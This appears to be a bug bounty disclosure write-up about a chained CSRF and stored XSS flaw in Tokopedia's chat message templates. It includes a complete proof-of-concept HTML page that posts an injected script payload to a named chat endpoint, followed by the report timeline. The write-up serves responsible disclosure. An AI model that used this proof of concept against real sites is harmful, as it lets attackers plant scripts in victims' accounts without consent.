Summary :
At the first time, I found Self-Stored XSS on Tokopedia in their template message, In Tokopedia have feature template message to chat seller with common question like “This Goods Is Ready, What Is The Variant color, and etc”. User can set the template message by their self, and I try to insert the payload XSS on the template message , and when I open the message, the XSS will be pop up, And I assume this is Self-Stored XSS. And after that I think if Self-Stored XSS not high enough because the user must be input the payload to their template. And I try to dig the Request And I found some JSON request without Token on their endpoint, and the content-type not checked by their system and I think it will be Valid CSRF. So, I try to chain that bug in one action.
Step to reproduce :
- Create .html code like this :
<title>CSRF To XSS on tokopedia</title> <script> function getMe(){ // retrieve page content var xhr = new XMLHttpRequest(); // now execute the CSRF attack xhr.open("POST", "https://chat.tokopedia.com/tc/v1/update_chat_templates", true); xhr.withCredentials="true"; xhr.setRequestHeader("Content-type", "application/x-www-form- urlencoded"); xhr.send('{"is_enable":true,"templates":["Bisa dikirim hari ini ga?","Terima kasih!","<script>alert(document.domain);//"]}'); } </script><center> <h1>CSRF To XSS On tokopedia</h1> <button onclick="getMe();">Xploit Kuyy</button> </center>
The code will be send request to https://chat.tokopedia.com/tc/v1/update_chat_templates endpoint to add template message [“Bisa dikirim hari ini ga?”,”Terima kasih!”,”<script>alert(document.domain);//”] . Who included by Payload XSS.
So, when victim visit that link, will be added payload XSS to their template message, and when victim try to chat with some seller, the XSS will be execute.
Video :
Timeline :
- Sun, Feb 25, 2018 at 2:31 PM : Report Send
- Sun, Feb 25, 2018 at 3:34 PM : Tokopedia Team answer will investigate
- Mon, Feb 26, 2018 at 10:11 AM : Tokopedia Team Mark as Duplicate the XSS ( Found By Internal Team ) and CSRF mark as LOW Severity
- Tue, Feb 27, 2018 at 9:09 AM : Try to explain the CSRF to get Medium Severity >.<
- Tue, Feb 27, 2018 at 10:52 AM : Tokopedia Team Mark XSS & CSRF Valid with Medium Severity because the endpoint is different with internal team report
- Thu, Mar 1, 2018 at 9:57 PM : Tokopedia Fixed The XSS , and tell CSRF not be fixed because the endpoint will changed soon.
- Wed, Mar 21, 2018 : Rewarded! Yay!
Thanks.
Original Report [ID] : https://drive.google.com/file/d/0B3hUlq3mDkikVXRWdEdBalpmZVlncFFqU3JXSFpFTkFnSGkw/view